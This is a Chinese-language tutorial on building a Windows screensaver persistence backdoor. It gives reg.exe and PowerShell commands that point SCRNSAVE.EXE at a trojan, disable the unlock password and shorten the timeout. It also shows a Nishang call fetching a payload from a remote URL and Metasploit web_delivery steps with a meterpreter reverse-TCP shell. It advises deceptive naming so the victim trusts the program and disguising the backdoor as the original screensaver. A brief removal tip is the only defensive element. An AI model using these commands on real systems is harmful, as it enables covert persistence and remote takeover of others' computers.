屏幕保护程序
屏幕保护是Windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。众所周知,Windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr文件扩展名的可执行文件,并通过scrnsave.scr实用程序执行。
屏幕保护程序存储在注册表中,位置如下:
代码语言:javascript复制HKEY_CURRENT_USERControl PanelDesktop
如果电脑中没有设置屏幕保护程序,那么注册表中是没有关于其的选项。我们可以通过在电脑搜索中搜索
屏幕保护
,对屏保进行设置。
设置屏保之后,注册表中即会显示相关内容。
其中,SCRNSAVE.EXE
为默认的屏保程序,我们可将此键值设置为我们要利用的恶意程序。在本质上,.scr
文件是可执行文件。
ScreenSaveActive
表示屏保状态,1为启动,0为关闭。
ScreenSaverTimeout
表示屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)。
ScreenSaverIsSecure
默认参数为0,标识不需要密码即可解锁。
屏保后门设置
进行注册表修改,执行命令,将屏保设置为我们的恶意软件
代码语言:javascript复制reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d c:123123.exe
使用上述命令,会发现一个问题,在执行之后,会弹出一个Yes和No的选择,如果当前的shell不是交互式shell,那岂不是利用不成功了?情况如下:
所以,命令需要完善,以满足多方面苛刻的环境,使用/f
参数(强制执行)执行即可解决,命令如下:
reg.exe add "HKEY_CURRENT_USERControl PanelDesktop" /v SCRNSAVE.EXE /t REG_SZ /d "c:123123.scr" /f
效果如下:
若你想修改屏保启动时间,或者其他几个参数,附如下命令,自行修改:
代码语言:javascript复制reg.exe add "HKEY_CURRENT_USERControl PanelDesktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg.exe add "HKEY_CURRENT_USERControl PanelDesktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
reg.exe add "HKEY_CURRENT_USERControl PanelDesktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
因为我屏保设置的时间为1分钟,所以鼠标键盘无操作一分钟之后,即可上线。
如果选用.scr
后缀的文件,那我们可将木马文件的后缀由exe
改为scr
即可。
同样,注册表修改命令改为:
代码语言:javascript复制reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d c:123123.scr
Powershell语法
我们还可以使用Powershell语法进行更改
代码语言:javascript复制New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' -Value 'c:tmppentestlab.exe'
New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' -Value 'c:tmppentestlab.scr'
经过测试呢,发现会出现如下情况,导致无法修改:
Nishang
Nishang的模块Add-ScrnSaveBackdoor.ps1
,也可以用于屏保后门的创建。由于Nishang需要powershell3.0版本才可正常启用,而Win7默认是2.0版本,所以暂未利用成功。语法很简单,如下:
Import-Module .Add-ScrnSaveBackdoor.ps1
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.145:8080/Bebr7aOemwFJO
PayloadURL
是我们恶意代码的url,可用msf生成:
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST IP_Address
set target 2
exploit
总结
修改完注册表之后,屏保修改处就会显示该后门程序的名称:
所以,后门程序的名字一定要起的有迷惑性,使对方信任。
其次,关闭该后门的方法也很简单,在上述图片位置中,切换屏保程序即可,注册表中的数据就会被修改,但是后门程序并未被删除,所以,若要清除后门,我们需要先在注册表中查看后门程序的路径,才可以彻底删除。
使用此后门时一定要注意,目标机器原本是否有屏保程序。若原本就有屏保程序,此后门的设置应尽量与修改前的图片相符。我们使用msf生成的木马时,将无屏保动画显示。在此期间,为了显示屏保动画,我尝试将SCRNSAVE.EXE
的数值修改为原本的屏保程序加上我们的木马文件,如下:
但是,很遗憾,没有利用成功,屏幕保护程序只能接受一个参数,超过一个参数的设置导致所有参数失效,屏保也为无,如下:
参考文章:https://www.cnblogs.com/xiaozi/p/11833495.html